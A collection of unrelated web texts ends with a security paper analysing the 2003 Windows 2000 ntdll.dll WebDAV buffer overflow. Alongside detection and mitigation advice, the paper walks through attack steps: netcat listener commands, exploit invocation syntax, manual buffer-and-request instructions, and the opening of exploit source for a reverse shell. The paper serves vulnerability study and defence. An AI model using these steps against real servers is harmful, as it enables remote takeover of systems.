text:
California Charter Schools Short-Changed on Special Education Funds
According to a recent survey from the Los Angeles-based Reason Foundation, California's charter schools are reducing the number of students labeled as "special education" by using aggressive early intervention strategies such as "neverstreaming" to keep students performing at grade level. In addition, the charter schools are providing disabled students with a quality education in the "least restrictive environment" by including special education students in regular classrooms.
Remarkably, Reason notes, the charter schools achieve those outcomes despite being shortchanged of their share of special education funding by their sponsoring school districts, which decide how the funds are allocated. Up to 37 percent of the money can be withheld, according to the July 2004 study, "Special Education Accountability: Structural Reform to Help Charter Schools Make the Grade," by Reason Foundation Education Director Lisa Snell.
"There's really no excuse for such huge percentages of money being pilfered from charter schools," said Snell. "Charter and public schools face enough challenges in educating our kids, they shouldn't have to fight for resources obviously intended for their special education students."
For example, Yvonne Chan, principal at Vaughn Next Century Learning Center in Pacoima, California, reports the Los Angeles Unified School District not only takes as much as 37 percent from her school, but provides "zero services in return."
Snell's recommendations to further improve the performance of special education programs in charter schools include the following:
- let special education funding follow the child;
- use special education cooperatives to pool resources and insurance;
- employ value-added testing to measure student performance improvement under specific teachers; and
- link explicit financial incentives directly to student performance.
"Charter schools are taking innovative steps and using early intervention techniques to ensure children never leave the general education classroom," said Snell, pointing to a growing body of evidence that the percentage of students assigned to special education is artificially inflated by school officials who count students who simply haven't been taught to read.
"Ironically, public schools and charter schools that offer services early on and actually reduce their special education population through neverstreaming or other early intervention strategies may be criticized as not properly serving special education students," she noted.
George A. Clowes (email@example.com) is managing editor of School Reform News.
For more information ...
The July 2004 study from the Reason Foundation, "Special Education Accountability: Structural Reform to Help Charter Schools Make the Grade," by Lisa Snell, is available online at http://www.rppi.org/ps319.pdf.


text:
Top Definition
Ben Shel Nymphe - Hebrew for "Son of the Nymphs", a middle aged man attracted to younger women, especially nymphomaniacs. An example is Asedahachpassedad from "Is it just me or is Nymphadora Tonks sexy?".
Dude 2:Dude! You are such a Ben Shel Nymphe.
Dude 1: Tavi Lehem Maher!
Dude 1: Tavi Lehem Maher!
by DagothUrDoomGuy June 01, 2010
Trending Now

subset: commoncrawl


text:
The Rebecca Minkoff Harper Soft Leather Clutch Bag in white is made from genuine leather, and is adorned with studded detail and three exterior zipped pockets, each of which has a tasseled zip pull. It has a zip top which opens to reveal a spacious main compartment that houses an interior zip pocket and three interior slip pockets. Adorned with silver tone hardware, it can be carried as a clutch or with the removable chain and leather strap. - L.M.
Measures: H:17.8 x W:29.2 x D:3.8cm. Strap Drop: 59.7cm.
Please remember to add postal time (2-3 working days) to obtain a complete estimate of delivery to your door.
You will receive an email to confirm when your item has been sent.
You can also check the status of your order and individual items by accessing My Account details and following the prompts.
Please allow 10 working days from dispatch of your order before notifying us of any late deliveries.
It may be advisable to check with your neighbours to see if a parcel has been left with them, check any outhouses you might have where it may be left if it cannot fit through your letterbox and contact your local sorting office to see if the item has been returned to the depot as undelivered and awaiting collection.
Please see our returns policy.
There are currently no reviews.


text:
Recently added item(s)
You have no items in your shopping cart.
Recently added item(s)
You have no items in your shopping cart.
Boo! These glow-in-the-dark Halloween Mini Decorations are a set of terrifyingly tiny spooks to haunt the nooks and crannies of your home, cubicle, or school locker.
If you don't have a lot of room, not only do these adorable decorations not take up much space to display, but all 11 paper decorations tuck neatly away in a 5" x 5-1/2" x 1/2" illustrated tin that fits in a drawer. Some decorations are jointed including a spiffy skeleton. Boo!
It was around this time last year that Maika, co-editor of Archie McPhee's Endless Geyser of Awesome, created her first Cthulhumas tree using a bunch of our Chtulhu tentacles, blue string lights, silver garland, a plush Cthulhu, and just the right amount of eldritch chanting.
Knowing the Great Old Ones would be expecting a tribute at least as nice as last year's effort, Maika created a second Cthulhumas tree this year, building on the original design with the addition of more lights, three dozen Finger Tentacles, and some Terrified B-Movie Victims.
Don't leave small pets or children alone around this tree. Those frightened little figures won't satisfy it for long.
Merry Cthulhumas to all of you!
May the Elder Gods continue to sleep soundly.
Ph'nglui mglw'nafh Cthulhu R'lyeh wgah'nagl fhtagn.
2 Item(s)


text:
I have searched around and read parts of the docs, but I'm afraid I haven't found anything readily available for my "issue" - I am trying to learn how to modify WP so that if is_home() returns true, WP will only show posts from a single, specific category ID.
There are just too many support articles, and the documentation is huge. I could sit here all day and read it all, but I'm not sure where to start.
The idea sounds easy enough, but is it? A point in the right direction would be greatly appreciated!
PS, I am using JD-wordpress - yea, Joomla. It's kind of weird, and the main loop (page, and post) are integrated into a different file, jd-wp.html.php - At this point, I am unsure as to what other "stock" files this system uses.
Though it does integrate decently with joomla, and I have successfully replaced the default content manager with WP. This is my first attempt at using WP, but I feel it is a hugely superior replacement.
The idea here, is to have a site that supports a magazine. The print magazine runs monthly, so ideally, I would have categories "October 2006" - etc, post each issue article in the proper category, each new category being the next succeeding month.
Hope I made sense just then. Thanks!


text: QSpace Community: http://hdl.handle.net/1974/847 2016-07-25T20:04:41Z Intraobserver Scoring Replicability http://hdl.handle.net/1974/14655 Title: Intraobserver Scoring Replicability Authors: Ossenberg, Nancy Suzanne 2016-07-14T04:00:00Z Mandibular Torus : A Synthesis of New and Previously Reported Data and a Discusssion of its Cause http://hdl.handle.net/1974/14652 Title: Mandibular Torus : A Synthesis of New and Previously Reported Data and a Discusssion of its Cause Authors: Ossenberg, Nancy Suzanne Abstract: Usinig original data on 1,5000 mandibles, but mainly previously published data, I present a overview of the distribution characteristics of mandibular torus and a hypothesis concerning its cause. Pedigree studies have established that genetic factors influence torus development. Extrinsic factors are strongly implicated by other evidence: prevalence among Arctic peoples, effect of dietary change, age regression, preponderance in males and on the right side, effect of cranial deformation, concurrence with palatine torus and maxillary alveolar exostoses, and clinical evidence. I propose that the primary factor is masticatory stress. According to a mechanism suggested by orthodontic research, the horizontal component of bite force tips the lower canine, premolars and first molar so that their root apices exert pressure on the periodontal membrane, causing formation of new bone on the lingual cortical plate of the alveolar process. Thus formed, the hyperostosis is vulnerable to trauma and its periosteal covering becomes bruised causing additional deposition of bone. Genes influence torus indirectly through their effect on occlusion. A patern of increased expressivity with incidence suggests that a quasicontinuous model may provide a better fit to pedigree data than single locus models previously tested. 2016-07-14T04:00:00Z Origins and Relationships of Woodland Peoples: The Evidence of Cranial Morphology http://hdl.handle.net/1974/14650 Title: Origins and Relationships of Woodland Peoples: The Evidence of Cranial Morphology Authors: Ossenberg, Nancy Suzanne 2016-07-14T04:00:00Z Brief Communication : Cranial Nonmetric Trait Database on the Internet http://hdl.handle.net/1974/14646 Title: Brief Communication : Cranial Nonmetric Trait Database on the Internet Authors: Ossenberg, Nancy Suzanne Abstract: This brief note announces the publication of a nonmetric cranial trait database as a freely available resource on the Internet at: http://library.queensu.ca/web- doc/ssdc/cntd. The files were constructed in the program Excel, and are available also in comma-delimited format. These one-observer data on 38 traits were recorded in 1963–2003 in skeletal collections curated at many muse- ums. The 8,016 crania represent individuals from a broad geographic and temporal range of recent human popula- tions, with regions best represented being the Arctic and northwestern North America. Am J Phys Anthropol 152:551–553, 2013. 2016-07-13T04:00:00Z


text:
- Home
- News
- Sports
- Obituaries
- Opinion
- Community
- Your Town
- Publications
- Classifieds
Monthly archive
July, 2014
Raymond (Ray) Patana, 81, of Benson, Ariz., passed away July 1, 2014 in Tucson, Ariz. He was born Aug. 25, 1932 in Russia, the son of Helmi and Arne Patana. When just weeks old his family returned to Red Lodge where he was raised, graduating from Red Lodge High School in 1950. After graduation he entered the Navy and upon discharge he attended...
Our beloved father, husband, brother and friend passed away in the early morning hours on July 10, 2014 in Red Lodge of natural causes. Mike was born on June 26, 1926 in Decatur, Ill., to Mark and Emma Kane. He grew up on the family farm in Carrollton, Ill., with his parents and brother, James. In 1943, at the age of seventeen, he enlisted in the...
A one-vehicle crash occurred north of Red Lodge, July 14, near the KOA Campground. According to the Carbon County Sheriff's Department the driver was apparently distracted when she reached for her cell phone and her vehicle, a minivan, went off Highway 212 into a ditch and then along a clearing of trees before hitting a tree dead center....
Red Lodge Mayor Ed Williams announced Thursday that after meeting with MDOT and Goran officials construction on Highway 212, north of Red Lodge, will be stopped this evening, July 17 and begin again on Monday July 21. The move was made to accomodate the immense amount of traffic expected for the Beartooth Rally. Yesterday Mayor Williams had...
Shakespeare in the Park has move to the Old Roosevelt School gym from Lions Park after poor weather conditions. The performance will begin at 6:30 p.m. July 15, with a 450th birthday celebration for the Bard taking place at 6 p.m.
Friday in Red Lodge saw a large number of bikers in town enjoying the cool summer evening and the sights of the town.
Montana Conservation Corps (MCC) and Beartooth Recreational Trails Association (BRTA) are working together this week to expand the city's Rocky Fork Trail. MCC has been working hard the last two days expanding the trail to the river east of the Yellowstone Wildlife Sanctuary (YWS). This work will take all week as they take out sod and move...
There has been a big hoorah the last few weeks about the care disabled veterans get from the VA clinics. The biggest point for political discussion has been the wait time for appointments. The reports have ranged from gross exaggerations to understatements mostly designed to score political points. The truth of the matter is that there has been a...


text:
First XV
The 2015/16 sees the senior side competing in National 2 North.
Last season saw the squad strengthened, with the addition of a number of new players to support the existing homegrown talent. The same squad has been retained for the new campaign with a small number of new players arriving to add strength in depth, and the emergence of a number of exciting prospects from the club's Academy team.
Gareth Lewis returns as head coach for his third season, supported by backs and skills coach Phil Gostling. Standards are set high and with both coaches undertaking their Level 3 courses they make a formidable coaching team, bringing high levels of energy and professionalism to the squad and with a wealth of experience behind them.
The desire to bring through home grown players remains, with new recruits carefully selected to add talent and experience as well as, crucially, 'buying in' to the clubs ethos, core values, and spirit.
The 1st XV is supported on match days by ex-players turned match day managers James Davies and Ben Mitchell.
Pre-season has been superb with a detailed mixture of teamwork, fitness, and skills as well as guest coaching sessions from the likes of ex England and British Lions Defense coach Phil Larder and fitness testing with the S&C team from Huddersfield Giants.
The 1st XV has been a great platform for a number of players to progress their careers. Ben Harris and Matt Clark both at Leeds Carnegie came through the first team. Chris Johnson was instrumental and became the National League top points scorer at Lockwood Park, before moving up to National 1 with Fylde and captaining England Counties. This player pathway is a long term development that starts at the U7s and ends with the 1st XV.
If you feel you would like to be part of what we have at Lockwood Park and believe that we can aid you in your aspirations as a player, then do not hesitate to come and pay the club a visit or contact either the head coach or senior rugby manager for an informal chat.
Fixtures and results
View all First XV 2016/17 season fixtures and results
» View
Key contacts
First XV Head Coach
Gareth Lewis
Mobile: 07834 810426
Email: email@example.com
First XV Backs Coach
Phil Gostling
Mobile: 07850 816137
Email: firstname.lastname@example.com
First XV Captain
Alex Battye
Mobile: 07751 166157
Email: email@example.com
Senior Rugby Manager
Mike Baggs
Mobile: 07721 385704
Email: firstname.lastname@example.com
Rugby Club Captain
Alex Battye
Mobile: 07751 166157
Email: firstname.lastname@example.com
Club Coaching Co-ordinator
David Ellwood
Mobile: 07867 523240
Email: email@example.com


text:
The area of Falkirk, situated in between Glasgow and Edinburgh, offers a multitude of sights and experiences for visitors of all ages. You can see the famous Falkirk Wheel and Callendar House, but also within easy reach of the lesser known, but equally fascinating, places of interest. The Bo'ness and Kinneil Railway is the perfect way to relive the romantic days of steam, and passengers can take the train on an 11 km round trip to Birkhill. Situated right by Birkhill Station, the Fireclay Mine provides visitors with the opportunity to see fossils which are 300 million years old, and tour guides will lead you down into the beautiful Avon Gorge before taking you into the caverns where you will learn how fireclay was mined and what it was used for. Another fascinating trip is to Dunmore House. Here you will find a folly, built in 1761 and designed by an unknown architect. Why a folly? Because the roof of the building which forms part of the walled garden of Dunmore Park is in the perfect shape of a pineapple. The fruit were apparently grown in hothouses in Scotland in the early 18th century, which perhaps explains the reasoning behind it. Why not take part in something a little more energetic, with a round of golf at the Falkirk Tryst Gold Club or a visit to Polmonthill dry ski slope?
Please provide this reference number to our customer service center representative on request, so we can help you better


text:
Hi, I am only just getting started with WordPress having migrated from Blogger. I have installed the Mudbomb WYSIWYG text editor and have been trying to upload an image into my post using the tool that comes with this plugin. I get an error stating 'The admin disabled this function' - what do I need to change to get this to work?
What should my permissions be set to for the following directories? wp_CONTENT and wp_images
Many thanks for any help you can give a newbie


text:
|Message view
|« Date » · « Thread »
|« Date » · « Thread »
|Jeff Turner <je...@apache.org>
|Re: Claiming *.html (Re: cvs commit: xml-forrest/src/resources/conf forrest.xmap)
|Tue, 09 Sep 2003 12:01:26 GMT
On Tue, Sep 09, 2003 at 10:32:53AM +0200, Nicola Ken Barozzi wrote: > Jeff Turner wrote: ... > >The extension provides a nice simple filetype marker. As an analogy, > >modern filesystems don't *rely* on extensions for identifying file type, > >but people use them anyway, as a visual type indicator. > > Well then that's not what I had understood. I reread the thread and I > still don't see this. > > You wrote: > " > Perhaps we could rather use marker attributes in site.xml to indicate raw > content: > > <site> > ... > <salesreport href="sales.pdf" binary="true"/> > ... > </site> > > And then just have: > > src/documentation/content/index.xml > src/documentation/content/sales.pdf > " > > I don't see how this is a proposal about matching extensions to > processing rules. It wasn't. The desirability of being able to easily distinguish processed and unprocessed files is an afterthought. > >>>I don't want to limit our options in 0.6 for the minimal advantage of > >>>making *.ihtml easier to edit. So claim *.html if you want, but be > >>>aware > >>>that it may be redefined in 0.6. > >> > >>I thought that we had agreed on this, Jeff, and I thought that this > >>commit was in line with what we had decided. > >> > >>IE: > >> - Add .html matcher as new way of defining ihtml pages > >> - Make namespaced content pass the pipeline (so we can add xhtml things > >> to xdoc pages for special cases, as like ehtml) > >> - deprecate ihtml and ehtml > > > >I'm not sure how processing *.html as ihtml counts as a first step down > >this road of supporting mixed-namespace documents. For a start, '.html' > >is the wrong extension, as it's XML, not HTML. > > Nope. It's html. I'm referring to the "namespaced content", as in multiple-namespaces.xml. > >Wouldn't it be better to > >graft HTML support onto doc-v12 instead of docv12 onto HTML? > > I think you don't get it. Html is just another *source* format that gets > transformed in xdoc. It will *not* output extra facilities that doc-v12 > doesn't have. True, I don't get it. Translating presentational HTML into semantic docv12 seems completely backwards to me. and utterly useless if you intend to strip out useful HTML features like forms. It wouldn't matter that I don't understand or use ihtml, but that you're forcing the issue by claiming *.html. ... > But I really thought we had finally gotten to a decision on this :-/ The last thread on this topic got waylaid by an <asis> tag. The core question (why ihtml) was never addressed. --Jeff > -- > Nicola Ken Barozzi firstname.lastname@example.com > - verba volant, scripta manent - > (discussions get forgotten, just code remains) > --------------------------------------------------------------------- > >
|View raw message


text:
A Georgia textile plant is the latest victim of a poor economy.
Spalding county officials announced this week, a Griffin textile plant plans to shut down next month and move its operations to Brazil.
The company, formerly called Dundee Mills, had employed about two thousand people in the 80's but has slowly dwindled to employ about 350 people.
The plant manufactures towels and other textiles.
The Griffin plant was at one point the area's largest employer.


text:
The "Windows 2000 ntdll.dll buffer overflow through WebDAV" was reported through several incident sites in mid-March 2003. The CERT Coordination Center has identified this as Advisory CA-2003-09 and can be found at http://www.cert.org/advisories/CA-2003-09.html. The Common Vulnerability and Exposures identification is CAN-2003-0109 and it can be found at http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0109
The operating systems affected are:
The exploit makes a too large request through the WebDAV protocol and triggers a buffer overflow in the Windows System Core DLL NTDLL.DLL and will allow execution of arbitrary code submitted to the, often remote located, Windows 2000 computer. Since the exploit lies in the Windows System Core this exploit is assumed to be only one of many possible attack vectors to trigger this buffer overflow vulnerability. Both known exploits found on the network trigger the exploit through the new HTTP methods introduced in WebDAV.
I have found two versions of exploit code submitted on the Internet. [WB] shows a variant created by email@example.com that puts the exploit code in the request method of the HTTP request where the vulnerability is located. This exploit makes the attacked server try to connect to a remote computer on a attacker selected port.
The "proof of concept", which actually is nothing else than a working attack, found in [RS] uses a slightly different method. The exploit code is here submitted in the body of the WebDAV request, and the buffer overflow exploit only contains the code to jump to the shell code. The submitted exploit code tries to set up a shell listening on incoming traffic on a selected port.
Both of the above exploits use the SEARCH method to access the vulnerable buffer.
The exploit found in [WD] uses a Perl script to execute exploit code on the attacked server. The script tries to automatically run through a sequence of return addresses and see if any on these works on the attacked server. This exploit did not work on the test network, and is according to the author only tested against the Korean language edition of Windows 2000 Server. This exploit is easy to adjust and therefore test multiple request methods besides the LOCK method originally set up.
Since WebDAV is an extension of the HTTP protocol, it can be viewed as a query-response protocol over TCP/IP as shown in Figure 2. WebDAV introduces some new headers and some new methods to the HTTP protocol.
A WebDAV method is given in the first line of the query and header fields are given in the following lines of the header. The header is separated from the body by an empty line (double CRLF) as shown in the example below simplified from the RFC.
MOVE /container/ HTTP/1.1 Host: www.foo.bar Content-type: text/html Destination: http://www.foo.bar/othercontainer/ Overwrite: F Content-Length: xxxx < ?xml version="1.0" ? >
HTTP/1.1 207 Multi-Status Content-type: text/xml Content-length: xxx < ?xml version="1.0" ? >
http://www.foo.bar/othercontainer/C2/ HTTP/1.1 423 Locked
In the example the text marked with red are WebDAV elements not a part of plain HTTP communication. The format of the XML body in the Request and Response fields is thoroughly specified in the RFC and since the vulnerability does not depend on the body sent in the request this will not be a part of the paper. A summary of the essential protocol elements in WebDAV is listed here.
New HTTP header parameters introduced are DAV, Depth, Destination, If, Lock-Token, Overwrite, Timeout and for HTTP response the additions are Status-URI together with some new status response code extensions.
Extensions to HTTP methods are listed here with a short description. The methods normally used in HTTP are discussed when they are referring to resources or collections.
Retrieve the selected properties in the resource identified in the URI. An example request can be like:
PROPFIND /container/ HTTP/1.1 Host: www.foo.bar Content-type: text/html Content-Length: xxxx < ?xml version="1.0" ? >Which will request all available properties connected to /container/. The selection of properties is done in the XML body entity.
The requested properties are usually information about files like author, creation date, content length, etc. PROPFIND is also used to find files located at the server.
Process information specified in the request body to set and/or remove properties identified by the URI. Used to simply create, change or delete specific properties concerning a resource.
MKCOL is used to create a new collection specified by the URI.
The semantics of GET and HEAD are the same as in HTTP, but when used with a collection it may return the header (and content in GET) of an "index.html" resource within that collection.
The semantics with POST are unmodified when applied to a collection.
Delete the resource or collection of resources defined by the URI. The Depth of a delete request of a collection is always set to "infinity" which means all resources located below this collection.
The put of an existing resource replaces the content retrieved with GET. When applied with creation of collections the use of MKCOL is required to be used. PUT also requires all ancestors to exist before creating the resource.
On a resource the COPY method creates a duplicate of the URI. The HTTP header Destination specifies the target position of the COPY method. For a collection the full hierarchy will be traversed and copied when Depth is set to "infinity", or only the collection and its properties but not the resources inside the collection, are to be copied (depth set to 0). If the target resource exists the header may imply an Overwrite value to set default action.
Add and removes locks on resources by using XML in the entity body. The HTTP header Lock-Token is used to identify the lock after creation (in response headers) and during removal (in request headers). Clients may also apply Timeout headers to their lock requests.
The WebDAV extension given in RFC3253 and later versions to arrive, adds versioning, searching, etc. and do not have any wide use or large implementations today and will not be discussed in this document.
The exploit takes advantage of a buffer overflow condition in the Microsoft Windows 2000 kernel module named NTDLL.DLL. The method used to reach the vulnerable function is in this exploit located in the WebDAV implementation of Microsoft Internet Information Server 5.0.
First there will be an explanation of a general buffer overflow exploit and how they work, followed by an explanation of how WebDAV contributes to trigger this exploit in the use of NTDLL.DLL.
In the execution of a program the stack is used for storing data when the program is calling functions. The function parameters, local variables and the return address to the called function are stored on the stack together with other values. A buffer overflow condition exists if the length of the values stored into the local variables is too long for the space located for the variable. This is shown in Figure 3.
Part one in the figure shows the construction of an attack buffer that is larger than the allocated space. The result will be that the attack buffer will overwrite the values put on the stack before the vulnerable variable.
Part two shows the initialization of the attack buffer. The attack buffer is filled with three different parts of data:
The description of the buffer overflow vulnerability in Windows 2000 core module NTDLL.DLL is based on an article by David Litchfield [LI2003]. Here the WebDAV based exploit code released is shown to be just one of many possible vectors that may be used to trigger the actual vulnerability in the Windows 2000 operating system.
The actual exploit is triggered through a function called GetFileAttributesExW that calls a function in NTDLL.DLL named RtlDosPathNameToNtPathName_U. This function is the real location of the vulnerability in the use of the string length parameter sent to the function. This integer is defined as an unsigned int and will therefore only support a string length of 0-65535 bytes long. When a string sent to this function is larger than this, it will cause a wrap in the integer and a buffer this long will have a wrong length value submitted to the function. This way it will trigger a buffer overflow in the module. Since the source code of NTDLL.DLL is not available (at least not to me), there will not be a deeper dig in how this is implemented. But we can assume that the length is not used correctly when for instance copying the string and therefore triggers the buffer overflow vulnerability. There are listed 28 functions in addition to GetFileAttributesExW and 26 other DLL files in the Windows 2000 system that uses the same vulnerable function RtlDosPathNameToNtPathName_U
The exploit code is wrapped with NOPs and jump addresses in the correct locations, and submitted to the web server through a valid WebDAV request. The overflow in RtlDosPathNameToNtPathName_U causes the new submitted return address to be activated and the possibility of reaching the exploit code is only a matter of time.
The code will in the exploit run in the Local System security context of the Windows 2000 operating system and have full access to all resources on the computer.
The reason for the location of the return addresses in the beginning of the attack buffer is due to the wrap around of the 16-bit length integer. Without having the source code I assume that the overwritten buffer will probably be of size "length(attack buffer) - 65536". The return address to overwrite will probably be located in the first hundred bytes or so after the wrapped size which makes the return address to be located in the beginning of the large attack buffer.
The exploit scenario is shown in Figure 4.
The figure shows an attacker on the outside of the firewall solution of the company. The attacker will by using the exploit get access to the web server on the internal side of an firewall and may be able to compromise more computers with this as a new base of attacks.
The attacker first compiles and makes an executable of the exploit code given in [WB]. Then the attacker starts a network listener by using "netcat -l -p port". The port number used in the test was a random picked 2000. The attacker then runs the exploit with different offsets to the exploit code as one of the parameters to the exploit program. The running of this code is shown in Figure 5. The multiple tests of getting the exploit to work can be seen from the top of the window. The last call in the window can be seen not to exit and represents a successful spawn of a shell on the web server.
The exploit program parameters are "./wb-linux server listener port pad". Where server is the attacked and hopefully vulnerable server, listener is the computer the attacker has set up a network listener on port number port. The pad is a programmer defined offset for testing multiple return addresses inside the compiled exploit program.
This program first connects to the remote server over the HTTP/WebDAV service port. Then the exploit program tries to send the attack buffer built as correctly as possible from the given listener, port and pad value. Then one of the following events will happen:
In another window shown in Figure 6, the result appears after a successful run of the exploit. The first line show the netcat command used to listen, "netcat -l -p 2000", for listening on port 2000. The process then waits for another computer to connect over the network. When the compromised computer connects to this port it sets up a Windows cmd shell as shown in the figure.
The attacker then has full access to all programs on the compromised computer with Local System security context. There is nothing stopping the attacker from manipulating the logs and making the service operative again after for instance a backdoor has been installed.
The exploit released in [RS] works in a similar way. First you have to compile the code and produce the executable. The exploit is then run against the remote vulnerable server and the attacker then has to see if the attack was successful by trying to connect to port 31337 on the server. If not successful the attacker must try again with other addresses in the exploit and see if the port is opened this time.
The exploit in [WD] did not work "out-of-the-box" but the concept looks like it should be OK. The reason may be as explained earlier that the server in the test network shown in Figure 7 did not run Windows 2000 Server with Korean language edition.
To manually run the exploit all you need to do is get a hold of some shell code that is adapted to your own needs. The shell codes used in the two variants discussed in this paper will probably be OK for most attackers with login ambitions on the remote server.
Build a buffer in your favorite programming language where you have the possibility to connect to another computer over a TCP/IP network. Build the buffer to consist of approximately 66000 characters and fill it with exploit code of your choice, NOPs and return addresses.
Build the request buffer by using one of the vulnerable methods, for instance something like:
PROPFIND /attackbuffer HTTP/1.1 Host: www.foo.bar Content-type: text/html Content-Length: xxxx < ?xml version="1.0" ? >Do a "telnet www.foo.bar 80" and paste the request buffer into the telnet program communication. If successful the exploit code will execute on the server and the attack have been successful.
A test network was set up for testing the exploit released in [WB]. A figure of this test network is shown in Figure 7.
The vulnerable Microsoft Windows 2000 Server with service pack 3 was installed on one computer. Nothing but installing the service pack 3 was done on top of the default installation of the Widows 2000 Server operating system.
The attacker was located on a laptop running Debian Linux 3.0. The exploit code tested in this description was a modified version of [WB] just modified to compile on Linux. The source code after the patch is given in Appendix A, but consist mainly of commenting out some network socket code for Windows.
The logger computer is set up just for viewing the traffic on the network and was running Debian Linux 3.0. The program etherreal was used for logging and displaying traffic on the network in a more readable form.
When the attack is launched there is generated a normal TCP connection to the remote server and the HTTP request is then sent. The HTTP request used in the [WB] attack uses the SEARCH method introduced by Microsoft to search in the WebDAV collections. The second parameter to this first line in the request is more than 65536 bytes long to trigger the buffer overflow. This request is shown in Figure 8.
The parameter of the SEARCH method, the exploit buffer without terminating zero values, is split into multiple continuation packets since it is too long for being submitted in one packet as shown in Figure 8. The buffer contains a selection of return addresses, NOP values and the exploit code somewhere at the end. The exploit code is actually located after 64000 characters, a value that is probably a randomly picked number by the programmer. As a result of this the exploit code is also followed by unnecessary NOP values before the request is being terminated with the mandatory fields and parameters at the end to make a valid WebDAV request. By "valid" it means that the syntax is following the RFC2518 with the exception of letting the URI contain non-allowed characters and a unrestricted length.
The other WebDAV methods will also trigger this same exploitable bug. Whether using PROPFIND, SEARCH, MKCOL or any other Microsoft IIS extension method that takes a URI as parameter looks all to be vulnerable. The header fields in HTTP or WebDAV requests are not this long so any traffic found with this information should be logged and examined. But on the other hand the body of the request may often be long so the IDS should be able to separate this.
After the attack has succeeded the server makes a connection to the attackers listening computer as shown in line number 83 of Figure 9.
The connection shown in the figure also send over the prompt with default path used by the Windows cmd program when a shell is ready for commands, "C:\WINNT\system32\>". The data of this packet (number 92) is highlighted in the figure.
The system then has access to all programs installed on the computer. The exploit may then be misused by fetching programs with tftp or using other locally installed or transferred programs.
The most common signatures of buffer overflow attacks are network traffic with lots of NOP values and the common shell codes. These signatures have existed for a long time in most IDS systems.
Other signs of compromise that may be found are the errors in the Windows Event logger shown in Figure 10. The four identified log entries occurred after testing several attempts of connecting to the server with the exploit and may be an indication of an attack attempt. The log messages about automatic restart and unexpected termination must be taken as a suspicious sign of an exploited or attacked server. The servers may have other problems due to other installed services and server programs, but if these logs occur it is more likely to be an indication on that your server may be under attack.
In Figure 11 we can see the strange restarts found in the server log when the exploit has been tested. Most of the indications of an attack are the multiple restarts and the halts in the service that occur during the attack.
The log entries have varied on the different test installations, but sometimes the log shows the full SEARCH method that failed with the failure code, and sometimes it shows the lines shown in Figure 11.
The first thing to do is to see if Microsoft Internet Information Server needs to be run on the computer. If not, remove the entire installation.
If you do need to have IIS running you should examine if WebDAV is needed and used. If the need for WebDAV does not exist, WebDAV may be switched off by entering a value in the Windows 2000 Registry. The value is located at HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W3SVC\Parameters, is called DisableWebDAV and must contain the type REG_DWORD with the value '1' (true).
Intrusion Detection Systems (IDS) can monitor the network traffic and react on certain patterns that identifies ongoing attacks. IDS may be locally installed software (host based IDS) or network based IDS that is a system that monitor all traffic going through on the network. Patterns for IDS systems for identifying these attacks will probably exist by next update, but the patterns of new attacks are not known until they are found on the network. This makes pattern based IDS useful for known attacks only.
Looking for long entries in logs from the servers is also an important element of an IDS system.
Network based IDS systems will only identify an ongoing attack and not prevent it. Host based IDS and/or firewalls may also prevent the attacks by identifying possible attack attempts.
Always use a firewall in front of your web server! The firewall must at least be able to do the following:
Do not allow outgoing connections from the server to the Internet. Normally a web server have no reason to make these kind of connections, but if such a reason exist, make sure the server is restricted to connect to only the supplier of the service on the correct port.
Do not allow connections to the server on other ports than the port needed for the service (normally port 80). There should be no holes in the port filtering to allow for remote connections from undefined places on the Internet. Port connections from specified places may be enough for spoofed IP packets to take advantage of the vulnerability and should also be avoided all together.
Unnecessary to mention, is the follow up of all patches released from the vendor and applying these when they are available. This is not automated or organized in all organizations, but hopefully it will be soon.
If the web server is located on a separate DMZ network the company and this network have no access to the internal network the damage is contained to this computer only. But if the company places the web server on their internal network for "convenience", they are more vulnerable than they could ever imagine. There will be nothing stopping the attacker from examining and attacking all over the internal network and there will probably be other computers compromised within a short period of time.
The source code for [WB] can be gotten from the URL http://packetstormsecurity.nl/filedesc/wb.c.html, but is also given in Appendix A
The source code can be divided into initialization, connection to the server, and execution of exploit code.
The buffers are built in the main() function. The request buffer is filled with the presumed triggering content of the request as explained in Manual run of the exploit. The command line parameters are checked as part of building up and initializing the buffer, the exploit code and other variables.
Then the connection to the server is then set up through the normal use of TCP/IP sockets.
The request buffer is sent to the server through the socket connection. The listener set up in advance by using netcat will display a Windows cmd shell if the exploit was successful. This happens in the exploit code and I have not disassembled the exploit code to verify what is implemented.
Source code for the other referenced exploits can be found at [WD]: http://packetstormsecurity.nl/0303-exploits/wd.pl and [RS]: http://www.rs-labs.com/exploitsntools/rs_iis.c
The additional links for information about the exploit can be found in the References section of this paper. Source codes are also found here.
The best paper found about the actual vulnerability is "New Attack Vectors and a Vulnerability Dissection of MS03-007" by David Litchfield at NGSSoftware [LI2003] located at http://www.nextgenss.com/papers/ms03-007-ntdll.pdf
The vulnerability analysis at Internet Storm Center found at http://isc.incidents.org/analysis.html?id=183 is a good summary of the problems and it is a good start for references to patches and more information for digging deeper into the exploit.
E. James Whitehead and Yaron Y. Goland have produced another good paper on the background of WebDAV and the intended purpose of the protocol. It may be downloaded from http://www.ics.uci.edu/~ejw/papers/dav-ecscw.pdf
And the Microsoft security bulletin that announced the vulnerability to the public can be found at http://www.microsoft.com/technet/security/bulletin/MS03-007.asp
/*******************************************************************/ /* [Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt] */ /* --------------------------------------------------------------- */ /* this is the exploit for ntdll.dll through WebDAV. */ /* run a netcat ex: nc -L -vv -p 666 */ /* wb server.com your_ip 666 0 */ /* the shellcode is a reverse remote shell */ /* you need to pad a bit.. the best way I think is launching */ /* the exploit with pad = 0 and after that, the server will be */ /* down for a couple of seconds, now retry with pad at 1 */ /* and so on..pad 2.. pad 3.. if you haven't the shell after */ /* something like pad at 10 I think you better to restart from */ /* pad at 0. On my local IIS the pad was at 1 (0x00110011) but */ /* on all the others servers it was at 2,3,4, etc..sometimes */ /* you can have the force with you, and get the shell in 1 try */ /* sometimes you need to pad more than 10 times ;) */ /* the shellcode was coded by myself, it is SEH + ScanMem to */ /* find the famous offsets (GetProcAddress).. */ /* I know I code like a pig, my english sucks, and my tech too */ /* it is my first exploit..and my first shellcode..sorry :P */ /* if you have comments feel free to mail me at: */ /* mailto: email@example.com */ /* or visit us at www.coromputer.net . You can speak with us */ /* at IRC undernet channel #coromputer */ /* ok now the greetz: */ /* [El0d1e] to help me find some information about the bug :) */ /* tuck_ to support me ;) */ /* and all my friends in coromputer crew! hein les poulets! =) */ /* */ /* Tested by Rafael [RaFa] Nunez firstname.lastname@example.com */ /* */ /* (take off the WSAStartup, change the closesocket, change 